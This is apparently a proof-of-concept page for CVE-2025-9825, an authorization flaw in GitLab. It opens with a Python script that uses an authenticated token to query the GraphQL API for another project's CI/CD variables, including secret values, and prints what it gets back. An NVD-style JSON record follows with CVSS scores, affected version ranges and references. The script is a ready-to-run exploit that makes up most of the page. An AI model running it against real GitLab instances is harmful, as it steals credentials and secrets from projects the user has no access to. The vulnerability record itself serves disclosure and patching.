CVE-2025-9825

# CVE-2025-9825 GraphQL API PoC # GitLab Unauthenticated Access to CI/CD Variables import requests import json GITLAB_URL = "https://your-gitlab-instance.com" TARGET_PROJECT_ID = "target/project/path" ATTACKER_TOKEN = "your-authenticated-user-token" def exploit_cve_2025_9825(): """ Exploit for CVE-2025-9825 Authenticated user can access CI/CD variables without project membership """ headers = { "PRIVATE-TOKEN": ATTACKER_TOKEN, "Content-Type": "application/json" } # GraphQL query to fetch CI/CD variables query = """ query { project(fullPath: "%s") { ciVariables(first: 100) { nodes { key value secret } } } } """ % TARGET_PROJECT_ID response = requests.post( f"{GITLAB_URL}/api/graphql", headers=headers, json={"query": query} ) if response.status_code == 200: data = response.json() if "errors" not in data: print("[+] Successfully retrieved CI/CD variables!") print(json.dumps(data, indent=2)) else: print("[-] Query failed:", data["errors"]) else: print(f"[-] Request failed with status: {response.status_code}") if __name__ == "__main__": exploit_cve_2025_9825()

{"cve": {"id": "CVE-2025-9825", "sourceIdentifier": "[email protected]", "published": "2025-11-21T06:15:48.620", "lastModified": "2025-12-02T20:31:10.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 13.7 to 18.2.8, 18.3 before 18.3.4, and 18.4 before 18.4.2 that could have allowed authenticated users without project membership to view sensitive manual CI/CD variables by querying the GraphQL API."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "13.7.0", "versionEndExcluding": "18.2.8", "matchCriteriaId": "07B861F7-963F-412E-98DC-D0A43D8533CB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "13.7.0", "versionEndExcluding": "18.2.8", "matchCriteriaId": "DF4CBB30-E636-443D-B121-7F409543F160"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.3.0", "versionEndExcluding": "18.3.4", "matchCriteriaId": "536C1DFE-B81E-4E5E-A979-EBB8AEB62F4C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.3.0", "versionEndExcluding": "18.3.4", "matchCriteriaId": "15A762DA-E645-404C-B831-A63171FF3EF2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.4.0", "versionEndExcluding": "18.4.2", "matchCriteriaId": "A0684F06-FCCA-400A-AB87-BB9B9F906187"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.4.0", "versionEndExcluding": "18.4.2", "matchCriteriaId": "719CBD84-A5F7-4332-8C37-D68474A2FB70"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2025/10/08/patch-release-gitlab-18-4-2-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/567301", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://hackerone.com/reports/3319800", "source": "[email protected]", "tags": ["Permissions Required"]}]}}